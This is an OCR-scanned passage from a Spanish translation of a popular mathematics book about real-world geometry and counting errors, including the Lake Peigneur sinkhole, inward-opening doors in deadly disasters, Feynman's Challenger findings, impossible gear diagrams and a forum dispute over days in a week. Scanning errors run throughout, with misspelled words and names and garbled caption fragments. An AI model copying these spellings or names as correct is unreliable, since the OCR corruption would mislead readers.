Cuando llegd, no fueron buenas noticias:

Cambiar el disefio para que este muestre una geometria precisa no es pertinente en este contexto.
Gobierno del Reino Unido, Departamento de Transporte

Rechazaron mi solicitud. jCon una respuesta bastante desdefiosa! Alegaron que: 1. la
geometria correcta seria algo tan sutil que «no se percatarian de ello la mayoria de los
conductores», y 2. distraeria tanto a los conductores que podria «incrementar el riesgo de
accidentesy.

Y me dio la impresion de que ni siquiera se habian leido la peticion adecuadamente. A pesar
de que solo pedia que se cambiaran las sefales nuevas, finalizaban su respuesta con: «Ademas, la
financiacion publica necesaria para cambiar en todo el pais las sefiales en las que aparece una
pelota seria una carga financiera irracional para las autoridades locales».

Asi que las sefiales siguen siendo incorrectas. Pero, al menos, ahora tengo una carta del
gobierno del Reino Unido en la que se dice que no creen que unas matematicas precisas sea algo
importante y que no creen que las sefiales viarias tengan que seguir las leyes de la geometria.

Calculos erroneos



Hay mas de una forma de cometer un error geométrico. Para mi, la menos interesante es cuando la
teoria geométrica esta bien fundamentada, pero alguien realiza mal un calculo a la hora de realizar
el trabajo (aunque esa clase de errores puede tener algunas consecuencias muy espectaculares).

En 1980, la compafia petrolera Texaco estaba llevando a cabo unas prospecciones
petroliferas en el lago Peigneur, en Luisiana. Habian triangulado minuciosamente la localizacion
para perforar en busca de petréleo. La triangulacion es un proceso con el que se calculan
triangulos desde puntos y distancias fijos para poder localizar algin nuevo punto de interés. En
este caso, era importante porque la Diamond Crystal Salt Company ya estaba excavando bajo el
suelo del lago y Texaco tenia que evitar perforar en las minas de sal preexistentes. Spoiler:
hicieron mal los calculos. Pero los resultados fueron mucho mas dramaticos de lo que usted pueda
estar imaginando.

Segin Michael Richard, que era el director de los cercanos jardines Live Oak Gardens, uno
de los puntos de referencia de la triangulacion era erréneo. Este desplazd la perforacion
petrolifera unos 120 metros mas cerca de las minas de sal de lo que deberia estar. Perforaron
hasta los 370 metros antes de que la plataforma de perforacion del lago Peigneur empezara a
inclinarse hacia un lado. Los perforadores decidieron que era inestable, asi que la evacuaron.
Logicamente, a los mineros les sorprendié todavia mas cuando empezaron a ver que el agua se
dirigia hacia su posicion.

El agujero de perforacion solo tenia 36 centimetros de ancho, pero era suficiente para que el
agua fluyera desde el lago Peigneur hacia las minas de sal. Gracias al buen entrenamiento en
seguridad, todo el equipo de mineros compuesto por unas cincuenta personas pudo salir sano y
salvo. Pero ;cuanta agua podia albergar la mina? El lago tenia un volumen de unos 10 millones de
metros cubicos de agua. Pero se estaba extrayendo la sal de debajo desde 1920 y las minas tenian
ahora un volumen mayor que el volumen del lago superior.

A medida que el agua iba penetrando, la tierra se iba erosionando y la sal se iba disolviendo.
Pronto, el agujero de 36 centimetros se convirtio en un remolino furioso de 400 metros de
didmetro. No solo vaci6 todo el lago en la mina de sal, sino que el canal que unia el lago al golfo
de México cambi6 de direccion y el agua empezo a fluir en la direccion contraria, hacia el lago,
formando una cascada de 45 metros. Once barcazas que estaban en el canal fueron arrastradas
hacia el lago y cayeron a la mina. Dos dias mas tarde, la mina estaba completamente llena y nueve
de esas barcazas reflotaron de nuevo a la superficie. El remolino habia erosionado unas 28
hectareas de la tierra colindante, incluyendo una buena parte de Live Oak Gardens. Sus
invernaderos siguen alli abajo, en alguna parte...

Por culpa del error en el calculo de un triangulo, un lago de agua dulce que solo tenia 3
metros de profundidad se vaci6 por completo y se rellend con agua del océano. Ahora es un lago
de 400 metros de profundidad de agua salada, lo que ha producido un cambio completo en cuanto
a plantas y vida salvaje. Lo increible es que no se perdiera ninguna vida humana, aunque uno de
los pescadores que estaba en la orilla del lago se llevo el susto de su vida cuando las pacificas
aguas del lago se abrieron formando un remolino furioso.

Aunque un error de céalculo puede ser tan devastador como lo que acabamos de contar, me
interesan mas los errores de geometria en los que alguien no ha pensado adecuadamente sobre las
formas implicadas, situaciones en las que la propia geometria es erronea, no solo su aplicacion.



Lo que nos lleva a hablar de uno de mis hobbies favoritos: encontrar fotos de la luna en las que
hay estrellas que brillan a través de ella.

Una luna sin estrellas

Puede que la Luna sea una esfera, pero, desde donde la vemos, parece un circulo. O, dicho con
mas propiedad, un disco. (En matematicas, un circulo y un disco son cosas diferentes: un circulo
es solo la linea que rodea una circunferencia, y un disco esta completamente lleno. Un frisbee es
un disco; un Aula hoop es un circulo. Pero voy a utilizar esas palabras indistintamente, como suele
ocurrir en el lenguaje habitual.)

Por lo que, cuando la observamos desde la Tierra podemos ver el disco de la Luna, al menos
cuando estd en su fase de luna llena. En ese momento la Luna esta en el lado mas alejado de la
Tierra desde el Sol y puede estar completamente iluminada. Siempre que la Luna esté en medio,
estara siendo iluminada lateralmente y solo veremos partes de ella iluminadas. Es la tipica luna
creciente del arte y la literatura. Pero se trata tan solo de un efecto de luz. En realidad, la Luna no
tiene forma de media Luna.

Incluso cuando no podemos ver partes de ella, siguen estando fisicamente alli. Durante la
fase de luna nueva, cuando estd completamente iluminada desde atrds, aparece solo como un
circulo negro, sin estrellas a su alrededor en el cielo. Pero cuando, en ocasiones, no podemos
verla, ahi sigue como silueta. Razon por la que me enfado cuando se muestra una luna creciente,
jcon estrellas visibles a través de su parte central!

Barrio Sésamo es un reincidente. En la portada del libro de Blas No quiero vivir en la Luna,
aparecen estrellas brillando en medio de una luna creciente. Y en la parte titulada «C en el
espacioy, la Luna parece sorprendentemente feliz, a pesar del hecho de que hay estrellas brillando
a su través. De acuerdo, si, que la Luna tenga una expresion y emociones tampoco es apropiado
astronomicamente hablando, pero eso no es excusa para ensefar a los nifios geometria de forma
incorrecta. Espero mas de un programa supuestamente «educativo». La Uinica explicacion que se
me ocurre es que, en el extenso universo Barrio Sésamo, existen bases de telefiecos en la Luna y
esos son los puntos de luz que vemos.
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El dibujo tiene sentido solo si suponemos que los puntos son estaciones lunares.

Y aun peor. Hay matriculas de vehiculos de Texas que celebran la presencia de la NASA en
el estado de la Estrella Solitaria. El transbordador que despega a la izquierda es
sorprendentemente preciso, ascendiendo hacia un lado en lugar de hacerlo directamente hacia
arriba. Esto podria parecer incorrecto, pero el transbordador espacial necesitaba una gran
cantidad de velocidad lateral para ser capaz de ponerse en 6Orbita. El espacio no esta tan lejos:
mientras escribo esto, la Estacion Espacial Internacional estd a una altitud de solo 422 kilémetros.
Pero para que algo permanezca en orbita necesita moverse alrededor de la Tierra a una velocidad
de unos 27.500 knv/h; es decir, 7,6 km cada segundo. Ir al espacio es facil. Mantenerse en ¢l es lo
dificil.

Pero a la derecha de la matricula hay una luna creciente e, inquietantemente cerca de ella, hay
una estrella. A simple vista, parece que la estrella esta brillando a través de lo que seria el disco
de la Luna. Tenia que comprobarlo para estar seguro, asi que compré en linea algunas matriculas
de Texas en desuso para inspeccionarlas minuciosamente. Decidi estudiar la matricula 99W CD9,
y escane¢ y completé digitalmente el resto de la Luna. Y, en efecto, la estrella solitaria debe estar
oculta por la Luna. En este caso, WCD son las iniciales de «Wrong Celestial Design» (Disefo
Celeste Erréneo).

e

Contiene noventa y nueve diserios celestes erroneos, pero el lanzamiento no es uno de ellos.

Las puertas de la muerte



Encuentro que la geometria de las puertas, cerraduras y cerrojos es fascinante. Pensard que
asegurar la propiedad de uno es algo que hay que tomarse muy en serio, pero al parecer mucha
gente no piensa en la dindmica de como funcionan puertas y verjas. Me encanta ver que hay gente
que ha comprado un gran cerrojo pero que ha dejado los tornillos que lo sujetan al descubierto. O
que hayan dejado el espacio suficiente para que se pueda deslizar el candado sin tener que abrirlo.
Si encuentra alguno de estos ejemplos, por favor mandeme una foto. Y, sin duda, eche un vistazo
de mas cerca siempre que piense que algo estd «cerrado». Puede que no lo esté.

Historia hipotética: mi esposa y su familia estaban visitando su hogar natal y me llevaron a
ver el cementerio local, donde estaba enterrado un querido miembro de la familia. Aunque no
comprobamos (hipotéticamente) el horario de apertura del cementerio y sus puertas estaban
cerradas. Me fijé en la puerta y me di cuenta de que, si levantabas una parte del cerrojo, las
puertas quedaban libres del candado. Quiero decir, si eso hubiera ocurrido en la realidad (en
lugar de hipotéticamente), hubiera sido el héroe del dia (y luego, por supuesto, habria vuelto a
«cerrary respetuosamente la puerta después de presentar nuestros respetos).

Estos son errores de aficionado en los que a alguien le han hecho colocar una cerradura y
este no lo ha pensado mucho. Afortunadamente, hoy en dia un experto habré planificado como han
de ser las entradas y salidas de un edificio, pero no siempre fue asi. Muchas vidas se han salvado
o perdido como consecuencia de la sencilla geometria de la forma en la que deberia abrirse una
puerta.

Montaje incorrecto y correcto de un cerrojo.
/Se ha olvidado las llaves? No hay problema, solo tiene que quitar un par de tornillos y ya estd.

Como regla general, las puertas se deberian abrir en la direccion necesaria en caso de que
hubiera una emergencia. Dada la localizacion de las bisagras, una puerta se abre ficilmente en una
sola direccion; toda entrada tiene un sentido u otro. A una puerta o le encanta dejar que la gente



entre en la habitacion o amablemente saca a todo el mundo de ella. La mayoria de las puertas de
una casa se abren hacia las habitaciones (para evitar que la puerta bloquee un salon), por lo que es
ligeramente mas fécil entrar en una habitacion que salir de ella. La mayor parte del tiempo, esto no
supone problema alguno: esperas un par de segundos para abrir la puerta hacia ti y luego sales. Ni
siquiera pensamos en ello. Hasta que hay cientos de personas ademds de ti intentando hacer lo
mismo.

Ahora estara esperando que cuente una historia sobre un incendio y sobre un montoén de gente
intentando salir a toda velocidad de un edificio. Pero no lo voy a hacer. La direccién en la que se
mueve una puerta puede ser igual de importante sin necesidad de que se haya producido un
incendio que desate el panico. En 1883, el teatro Victoria Hall de Sunderland, cerca de
Newcastle, estaba albergando un espectaculo de The Fays que aseguraba ser «la mayor diversion
de la historia para nifios». Alrededor de dos mil nifios, entre siete y once afos, la mayor parte de
los cuales sin la supervision adecuada, estaban abarrotando el teatro. No se prendi6 ningln fuego,
pero ocurrio algo que provoco igualmente histeria a un grupo de estas edades. Fue la promesa
repentina de juguetes gratis.

Los nifios de la planta baja recibian sus juguetes directamente desde el escenario, pero los
1.100 nifios de la planta superior tuvieron que bajar por las escaleras para ir recibiendo sus
juguetes a medida que iban abandonando el edificio ensefiando el nimero de su entrada cuando
salian. Las puertas situadas al final de las escaleras no solo se abrian hacia dentro, sino que
también las habian dejado entreabiertas y las habian fijado para que solo pudiera pasar un nifio
cada vez, haciendo mas facil la comprobacion de las entradas. Sin los suficientes adultos para
controlar la cola, los nifios bajaron a toda prisa por las escaleras para ser los primeros en salir.
Murieron ciento ochenta y tres nifios en la aglomeracion que se formoé contra las puertas.

Fue necesaria hora y media para evacuar a todos los nifios del hueco de la escalera. Los
rescatadores intentaron retirar frenéticamente a los nifios uno a uno a través del hueco de las
puertas; fueron incapaces de abrir la puerta en direccion al hueco de la escalera para permitir asi
salir a los nifios. Las muertes se produjeron por asfixia. Como suele ocurrir en todas las
estampidas humanas, los nifios que empujaban hacia delante en la parte superior de las escaleras
no tenian ni idea de que la gente de abajo no tenia adonde ir.

Puede que resulte facil distanciarnos de estos nifios. Murieron hace mas de un siglo. Para
recordarme a mi mismo que eran personas reales, me fijo en la lista de sus nombres. Al repasarla,
encuentro a Amy Watson, una nifia de trece afios que se llevo a sus hermanos pequeiios Robert (de
doce) y Annie (de diez) al espectaculo. Su casa estaba a media hora caminando, atravesando la
ciudad y cruzando el rio hasta llegar al teatro. Los tres murieron en la tragedia.

Si las puertas se hubieran podido abrir de forma facil y por completo en una emergencia
como esa, las victimas podrian haber sido muchas menos; puede que incluso no hubiera habido
ninguna. Esto, por supuesto, se le ocurrié a todo el mundo en los dias posteriores y, después de
una protesta nacional (dos investigaciones fracasaron a la hora de encontrar un culpable), el
Parlamento del Reino Unido aprob6 leyes que obligaban a que hubiera puertas de salida que se
abrieran hacia fuera. Inspirada en el incidente del Victoria Hall, se invent6 la «barra antipanico de
empuje», gracias a la cual se podia cerrar una puerta desde el exterior por razones de seguridad,
pero se podia abrir desde dentro con un simple empujon.



Estados Unidos sufrié sus propios desastres, en este caso, fuegos en lugar de promesas de
juguetes gratis. Un fuego desatado en el teatro Iroquois de Chicago en 1903 matd a 602 personas v,
hasta el dia de hoy, es el fuego producido en un Unico edificio que ha matado a mas personas en
toda la historia de Estados Unidos. El material y el disefio del edificio favorecieron el répido
avance de las llamas, pero las pocas salidas utiles, que ademis se abrian hacia dentro,
contribuyeron a la tragedia. Los cambios posteriores que se realizaron en el codigo de incendios
obligaban a que, en los edificios publicos, las puertas se abrieran hacia fuera, pero hizo falta un
tiempo para que su implementacion fuese generalizada. En el fuego de 1942 que se propag6 por el
Cocoanut Grove Night Club de Boston, murieron 492 personas. Los bomberos atribuyeron
directamente trescientas de esas muertes a las puertas que se abrian hacia dentro.

La cuestion de hacia qué lado se deberian abrir las puertas en otras situaciones no es tan
obvia. ;Qué decir en el caso de una nave espacial? Durante el programa Apolo, la NASA tuvo que
decidir si las escotillas de la cabina de la nave espacial se tenian que abrir hacia dentro o hacia
fuera. Una puerta que se abriera hacia fuera seria mas sencilla de manejar para la tripulacion y se
podia equipar con cinturones explosivos que se podian hacer estallar en caso de emergencia, por
lo que esa fue la eleccion inicial. Pero después del amerizaje en el océano del segundo viaje
tripulado de la NASA, Mercury-Redstone 4, la escotilla se abrid inesperadamente y el astronauta
Gus Grissom tuvo que salir porque el agua del mar empezé a inundarla.

Por lo que la cabina de la primera nave espacial Apolo tuvo una escotilla que se abria hacia
dentro. La cabina se mantenia ligeramente por encima de la presion atmosférica y esta diferencia
de presion ayudaba a mantener la escotilla cerrada. Salir de la nave espacial implicaba liberar la
presion que mantenia cerrada la escotilla. Pero durante el inicio de un ensayo general (en el que la
nave espacial estaba desconectada de los sistemas de apoyo y a plena potencia para probarlo todo
excepto el despegue real), se desatd un incendio. Un entorno rico en oxigeno, y el nailon y el
velcro inflamables (utilizados para mantener el equipamiento en su lugar), hicieron que las llamas
se propagaran rapidamente.

El calor provocado por el fuego aument6 la presion del aire en la cabina hasta el punto de
que era imposible abrir la escotilla. Los tres astronautas que estaban en el interior, Gus Grissom,
Edward White I y Roger Chaffee, se vieron atrapados y murieron por la asfixia causada por el
humo téxico. Hicieron falta cinco minutos para abrir la escotilla de la cabina y rescatar a la
tripulacion.

Mas tarde se supo que los astronautas del Apolo ya habian pedido que las escotillas se
abrieran hacia afuera, para asi poder salir mas facilmente a realizar sus paseos espaciales.
Después de la investigacion sobre el incendio, ademas de cambiar la concentracion de oxigeno y
los materiales utilizados en la cabina, en todos los vuelos espaciales tripulados de la NASA las
escotillas se cambiaron para que se abrieran hacia afuera por razones de seguridad.

Esta tragedia condujo a una peculiaridad numérica de las misiones Apolo. Aunque la nave
espacial nunca fue lanzada, la misién a cargo de Gus Grisoom, Edward White II y Roger Chaffee
fue nombrada en retrospectiva Apolo 1 como muestra de respeto hacia ellos, en lugar de mantener
su nombre en clave, AS-204. Oficialmente, el primer lanzamiento real es el que deberia haberse
llamado Apolo 1 pero, debido a lo sucedido, se declaré que el AS-204 fue el primer vuelo oficial
de las misiones Apolo, a pesar de que «fallo en la prueba en tierra». Este suceso caus6 un extrafo
efecto colateral porque, ahora, dos lanzamientos no tripulados previos (el AS-201 y el AS-202; el



AS-203 fue una prueba con cohetes y por lo tanto no contaba como lanzamiento oficial) eran
también, en retrospectiva, parte del programa Apolo, aunque nunca recibieron una denominacioén
Apolo. Por lo tanto, el primer lanzamiento tripulado recibié el nombre de Apolo 4, lo cual
constituye una curiosa cuestion de cultura general, ya que el Apolo 2 y el Apolo 3 nunca
existieron.

Mas que simples juntas tdricas

Cuando el 28 de enero de 1986 la lanzadera espacial Challenger explotd poco después de su
despegue matando a las siete personas que estaban a bordo, se cred una Comisioén Presidencial
para investigar las causas del desastre. Ademas de incluir en ella a Neil Armstrong y Sally Ride
(la primera mujer estadounidense en el espacio), en dicha comision también estaba el fisico
ganador del premio Nobel, Richard Feynman.

El Challenger explotd debido a una fuga producida en uno de sus cohetes propulsores
solidos. Para el despegue, la lanzadera tenia dos cohetes de ese tipo, cada uno de ellos con un
peso de unas 500 toneladas y, por increible que parezca, utilizaban metal como combustible:
quemaban aluminio. Una vez que se gastaba el combustible, los cohetes propulsores solidos se
soltaban de la lanzadera a una altitud de unos 40 kilémetros para después desplegar un paracaidas
con el que amerizaban en el océano Atlantico. Esos cohetes se reutilizarian, por lo que la NASA
enviaria barcos para que los recogiesen y asi poder reacondicionarlos y recargarlos.

Cuando los cohetes se estrellaran contra el océano, no serian mas que tubos practicamente
vacios. Se habian construido con una seccion transversal perfectamente circular, pero el impacto
podia deformarlos ligeramente, como también podia tener esa consecuencia transportarlos sobre
uno de sus costados. Como parte de la restauracidon, se desmontaban en cuatro secciones, se
comprobaba cudn deformados estaban, se les volvia a dar una forma perfectamente circular y se
ensamblaban. Se colocaban unas juntas de goma llamadas juntas toricas entre las secciones para
proporcionar un sellado hermético.

Fueron estas juntas toricas las que fallaron durante el lanzamiento del Challenger,
permitiendo que escaparan los gases calientes de los propulsores, con lo que empez6 una cadena
de sucesos que condujeron a su destruccion. Como todo el mundo sabe, durante la investigacion,
Richard Feynman demostré cémo las juntas toricas perdieron elasticidad a bajas temperaturas.
Era fundamental que, a medida que las distintas secciones del propulsor se movieran, los anillos
retrocedieran para mantener el sellado. Frente a los medios de comunicaciéon, Feynman coloco
parte de la goma de la que estaban formadas las juntas en un vaso de agua helada y demostré que
ya no recuperaban su posicion. Y el dia del lanzamiento, el 28 de enero, fue un dia muy frio. Caso
cerrado.

Pero Feynman también descubridé un segundo problema con el sellado entre las distintas
secciones del propulsor, un sutil efecto matematico que no se podria haber demostrado con la
cautivadora vision de la goma deformada en un vaso de agua helada. Comprobar si una seccion
transversal de un cilindro sigue siendo circular no es tan facil. Para los propulsores, el
procedimiento para hacerlo fue medir el diametro entre lugares diferentes y asegurarse de que los
tres eran iguales. Pero Feynman se dio cuenta de que con esto no bastaba.



Cuando escribid sobre su investigacion, Feynman record6é cuando de nifio vio en un museo
«ruedas dentadas no circulares, de aspecto peculiar y con figuras extrafias» que permanecian a la
misma altura mientras rotaban. No dijo su nombre, pero inmediatamente supe que eran «figuras de
ancho constante». Me encantan estas figuras y ya he escrito extensamente sobre ellas
anteriormente.! A pesar de no ser circulos, siempre tienen un didmetro medido este en cualquier
direccion.

Es obvio que la figura 17 dibujada por Feynman en su informe, no es un circulo, pero si que
tiene tres didmetros idénticos. Podria haber ido un paso mas lejos. Se pueden realizar miles de
medidas de didmetros en una figura de ancho constante, como es el tridngulo Reuleaux, y podrian
todos ser iguales, a pesar de que la figura dista mucho de ser circular.

Si un propulsor se habia deformado convirtiéndose en una seccion transversal de un tridngulo
de Reuleaux, los ingenieros tendrian que haber sido capaces de percatarse de ello facilmente, pero
esta clase de deformacion puede producirse en una escala mucho mas pequeia; podria no ser
visible a simple vista y, aun asi, seguir siendo una deformacion que pudiera cambiar la forma de
la junta. Las figuras de ancho constante a menudo tienen una protuberancia en un lado y una
seccion plana en el otro para compensar.
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FIGURA 17. Los didmetros de
esta forma miden exactamente lo
mismo, aunque jes obvio que no es
circular!

La figura de Feynman con tres diametros idénticos junto a otra figura que tiene infinitos. Esta claro que
ninguna de las dos es un circulo.

Feynman consigui6 estar un rato a solas con los ingenieros que trabajaron con estas secciones
de los propulsores. Les pregunt6 si, incluso después de medir los diametros (confirmando con ello
que la forma era perfectamente circular), seguian teniendo esas deformaciones a base de
protuberancias y partes planas.

«;jSi, sil», respondieron. «Vimos protuberancias como esa. Las llamamos pezones.» Este, de
hecho, era un problema que se producia regularmente, pero no parecia que se hubiese hecho algo
al respecto. «Nos encontrabamos con pezones todo el rato. Hemos intentado contarselo al
supervisor, jpero nada de nada!»



El informe final confirma todo esto. El funcionamiento de las juntas toricas fue claramente la
causa primera del accidente y sigue siendo la conclusion que aparecid en todos los titulares que la
mayoria de gente recuerda. Pero, ademds de la conclusion respecto a las juntas toricas y las
recomendaciones sobre como deberia gestionar la NASA la comunicacion entre los ingenieros y
la direccion, también hay una Conclusion #5: «Se observd que la zona existente entre los dos
segmentos no era perfectamente redonda». La NASA derrotada por simple geometria.

Por una rueda dentada

Como antiguo profesor de instituto, tengo un poéster en mi despacho que proclama que «La
educacion funciona mejor cuando todos sus componentes funcionany. Muestra tres ruedas dentadas
con las etiquetas «profesor», «estudiante» y «padresy», todos unidos. Este poster se ha convertido
en un meme de internet con la descripcion «mecanicamente imposible, aunque preciso» porque las
tres ruedas dentadas conectadas no se pueden mover. Nada de nada. Se quedan bloqueadas. Si
queremos que se muevan, hay que quitar una de las tres (segiin mi experiencia: los padres).

El problema es que, si una rueda dentada funciona en el sentido de las agujas del reloj,
cualquier otra que esté unida a ella tendra que girar en el sentido contrario. Los dientes encajan
juntos, por lo que, si la rueda de «los profesores» va en el sentido de las agujas del reloj, los
dientes de la derecha empujaran a los dientes del lado izquierdo de la rueda «estudiantes» hacia
abajo, haciendo que esta gire en el sentido contrario a las agujas del reloj. El problema es que los
dientes de la rueda «profesores» también estan unidos a las demas ruedas, haciendo que todo se
pare, como ocurre con las jornadas destinadas a que se retnan profesores y padres.

Education works
best when all the parts
are wm:urking%J

Los posteres motivacionales funcionan mejor cuando todos sus componentes son geométricamente
verosimiles.



Para que un mecanismo de tres ruedas como este funcione, dos de ellas no tienen que tocarse.
Cuando el Metro de Manchester editd un poster en el que representaba las zonas de la ciudad
funcionando juntas, la gente redisefi6 las ruedas en 3D de tal forma que pudieran girar al unisono.
En este ejemplo, los dientes de las ruedas 2 y 3 ya no se tocan entre si, por lo que todo puede
moverse.

Hacdiendo

gue la dudad
funcione M Honen
A COonyy
conjuntamente Vantomep e

Ojala fuera asi de facil arreglar el transporte publico de Manchester.

Pero a veces no tiene arreglo. El periddico USA Today publico una historia en mayo de 2017
sobre la decision del presidente Trump de renegociar el Tratado de Libre Comercio de América
del Norte entre Estados Unidos, Canad4 y México. En este caso, las ruedas ya estaban dibujadas
en 3D y eran inequivocamente imposibles. El articulo analizaba lo beneficioso que podia ser para
todos los paises miembros llegar a un acuerdo y lo dificil que resulta que los tres paises trabajen
conjuntamente. Por lo que todavia no tengo claro si la disposicion de las tres ruedas fue o no fue
un error.

Haciendo que las ruedas chirrien otra vez.



Anadir ruedas solo empeora las cosas. Nunca ponga «engranaje trabajo en equipo» como
término de busqueda en una web de almacenaje de imagenes. Para empezar si usted no esta
utilizando el mundo cursi de los pdsteres motivacionales, lo que verd le impactard. La siguiente
sorpresa sera que un monton de diagramas que se supone que han de mostrar que un equipo trabaja
como una maquina bien engrasada utiliza un mecanismo que estd atascado indefinidamente.

Los engranajes y los mecanismos que han de funcionar como un reloj son un ejemplo tipico
de cosas que funcionan juntas al unisono; esa es la razon por la que se utilizan en tantos posteres
motivacionales que se exponen en los centros de trabajo. Pero he aqui la cuestion: los mecanismos
que funcionan como un reloj son complicados. Son dificiles de fabricar: una parte en el lugar
incorrecto y todo deja de funcionar. Cuanto mas pienso sobre ello, mas convencido estoy de que si
que representa una gran analogia de un equipo de trabajo.

9

Estaba dispuesto a pagar por una imagen de stock para utilizarla en este libro. Esta es mi favorita. La
descripcion que la acomparia es: «Modelo de figuras 3D sobre ruedas dentadas conectadas como metdfora de
lo que es un equipoy.

Pero, para ser honestos, un jchoca esos cinco! a cuatro manos como simbolo de trabajo en equipo plantea
incluso mas problemas geométricos.



En 1998, en el periodo previo al cambio de milenio, en el Reino Unido se puso en
circulacion una nueva moneda de 2 libras. Se organiz6 una competicion para disefiar el reverso de
la nueva moneda (la cara de la reina, por defecto, tenia que ir en el disefio del anverso), y gand
Bruce Rushin, un profesor de arte de Norfolk. Bruce disefi¢ una serie de aros concéntricos, cada
uno de ellos representando una edad tecnoldgica diferente de la humanidad. La de la revolucion
industrial estaba representada por un anillo de diecinueve ruedas dentadas. Ya se puede imaginar
hacia donde va esto, o, mejor dicho, como esto no va a ninguna parte.

Una cadena de ruedas dentadas girara en el mismo sentido que las agujas del reloj, en el
sentido contrario, luego en el mismo..., y asi sucesivamente. Por lo que, si el conjunto es cerrado,
tiene que haber un nimero par de ruedas para que cada una de ellas se una a otra que gira en
sentido contrario. Cualquier nimero impar de ruedas en un bucle hard que este se pare. Las
diecinueve ruedas de la moneda de 2 libras estarian totalmente bloqueadas y no podrian moverse.

Por supuesto, internet se percatd bastante rdpidamente del problema que sufria la nueva
moneda. Las personas que se quejaron en linea cubrian todo el habitual espectro, desde los
curiosos hasta los insufribles engreidos. Alguien incluso consiguié obtener una respuesta oficial
de la Real Casa de la Moneda sobre la inverosimilitud del disefio:

La idea del disefio es representar el desarrollo de la tecnologia a lo largo de la historia, pero no pretende
que funcione en el sentido literal. El artista queria transmitir esta idea de forma simbolica por lo que no
creyo que el nimero de ruedas en uno de los anillos del disefio fuese un asunto importante.

Real Casa de la Moneda

Todo esto parece ser un caso claramente cerrado. Puedo aceptar que, cuando se trata de una
decision artistica, comprobar que algo funciona fisicamente no es una prioridad del artista. No me
quejo de que el trabajo de Picasso sea bioldgicamente inverosimil o mandar a Salvador Dali
cartas de protesta sobre el punto de fusion de los relojes.

Pero, aun asi, la forma en que se producen esta clase de errores triviales sigue despertando
mi curiosidad. Pensé que podia buscar rapidamente al artista y ver si podia pedirle educadamente
si por su cabeza habia pasado en algin momento la cuestién de la funcionabilidad fisica de su
disefo.

Lo que encontré me sorprendi6. En el sitio web de Bruce Rushin esté el disefio original que
gano el concurso a finales de la década de 1990: tiene veintidds ruedas. jHabria funcionado! En
alglin momento del proceso de disefio, se cayeron tres de ellas.



El centro del diserio original de Bruce con las tres ruedas que faltan en la moneda definitiva.

Hablé con Bruce, y si que le habia preocupado el nimero de ruedas, a pesar de haber
pensado que no era algo importante. Su disefio original era mecanicamente correcto, no porque
pensase que era mejor, sino, mas bien, para evitar correos electronicos de personas a las que eso
pudiera enfadar. Cuando la Real Casa de la Moneda convirtié el disefio de Bruce en una moneda
real de tan solo 28,4 milimetros de ancho, tuvieron que eliminar algunos detalles finos, y tres
ruedas fueron victimas de esta simplificacion.

Si que pensé en ello, en que, si una rueda giraba en el sentido de las agujas del reloj, las adyacentes
girarian en el sentido contrario. Sin embargo, después de todo, al ser tan solo un disefio, no un proyecto
que tiene que funcionar, no es tan importante. Supuse que alguien se percataria de ello, por lo que
mantuve el nimero par.

También me parece que resume muy bien la diferencia que existe entre artistas e ingenieros. jTengo

licencia artistica!

Me cuesta decidir si me alegro o me avergonzo el hecho de que Bruce tuviera que valorar las
implicaciones de su vision artistica porque sabia que de otra forma recibiria protestas. Soy un
gran partidario de la idea de que las restricciones ayudan a estimular la creatividad, por lo que,
teniéndolo todo en cuenta, me parece correcto. Siempre hay espacio para que florezca la
creatividad. Incluso si se trata de pedantes que se quejan creativamente sobre problemas triviales.



Cinco

NO PUEDES CONTARLO

Se podria decir que contar es la parte mas facil de las matematicas. Asi empezaron: con la
necesidad de contar cosas. Incluso aquellos que aseguran que son malos en matematicas aceptan
que saben contar (aunque sea con sus dedos). Ya hemos visto como pueden complicarse los
calendarios, pero todos estamos de acuerdo en que podemos contar cudntos dias hay en una
semana. Es asi, ;no?

Una de las mayores discusiones de todos los tiempos en internet empezo con una simple
pregunta sobre ir al gimnasio y acabd con una pelea a gritos virtual sobre cuantos dias tiene una
semana.

En el foro de discusion de Bodybuilding.com alguien con el nombre de usuario mlndless
preguntd cuantos dias por semana era seguro realizar un entrenamiento integral. Parece ser que
solia realizar entrenamientos para la parte superior y para la parte inferior en dias alternos, pero,
ahora, debido a la falta de tiempo, queria saber si existia algin riesgo en hacerlo todo el mismo
dia, y asi poder ir menos veces al gimnasio. Sé como se siente: yo divido mis dias entre geometria
y algebra.

El consejo general que dieron los usuarios (todos profesionales y de Vermont) parece que fue
que la mayoria de las rutinas de culturismo para principiantes incluyen tres tandas integrales por
semana, por lo que deberia estar bien para un nivel mas avanzado e intenso. MIndless parecid
satisfecho con este consejo y solo afiadid que entrenaba cada dos dias, por lo que eso significaba
que «estaria en el gimnasio entre cuatro y cinco veces por semana». El usuario steviekm3 sefiald
que «solo hay siete dias en una semana. Si vas cada dos dias, son 3,5 dias por semanay, y todo
parecid quedar claro.

Milndless no dijo nada mas.

Porque el que entr6 en escena fue TheJosh. No estaba satisfecho con la frase de steviekm3 de
que ir cada dos dias significaba ir 3,5 veces por semana. Segin su experiencia, entrenar cada dos
dias implicaba estar en el gimnasio cuatro veces por semana:

Lunes, miércoles, viernes, domingo. Eso son 4 dias.
(Como vas air 3,5 veces? ;Haces medio entrenamiento o algo asi? lol
TheJosh

Antes de que steviekm3 se pudiera defender por si mismo, Justin-27 acudid con aire triunfal
al rescate, sefialando que la respuesta correcta es, de hecho, 3,5 veces por semana como
promedio: «7x en 2 semanas = 3,5 veces por semana, genioy». Y afiadié que tres entrenamientos



por semana deberian ser suficientes (el Gltimo consejo relacionado con el culturismo que ibamos a
ver en este hilo).

A TheJosh no le gustd que el recién llegado Justin-27 no estuviera de acuerdo con él, y
decidio aclarar con exactitud por qué «cada dos dias» es cuatro veces por semana. Steviekm3
reaparecié brevemente para apoyar a Justin-27 y defender su posicion inicial, pero volvio a
desaparecer en un santiamén. A continuacion, TheJosh y Justin-27 empezaron a discutir cuantos
dias hay en una semana. Enseguida se unieron nuevas personas a la discusion (para mi asombro,
apoyando a ambos bandos) y esta duré mas de cinco paginas de mensajes. Cinco de las paginas
mas divertidas de internet.

Pero ;como puede algo tan obvio como el nimero de dias que tiene una semana generar tanta
pasion a lo largo de cinco paginas, 129 posts y dos dias de discusion constante? Bueno, si pudo, y
es espectacular. El lenguaje también es muy creativo y contiene muchas groserias conocidas (y
algunas nuevas, creadas a partir de una mezcla inteligente de tacos clasicos), razon por la cual no
puedo citar muchas de ellas. Su lectura en linea no es apta para cardiacos.

™ 05-17-2008, (4:35 PM £18
Thelash Fublicad originalimerte por Justin-27 o

Ragimared Lk En £aso de que o hayas oividado, UNA SEMANA va de domingo a sdbado,
l NO de domingo a domingo, eso seran B dias, idota

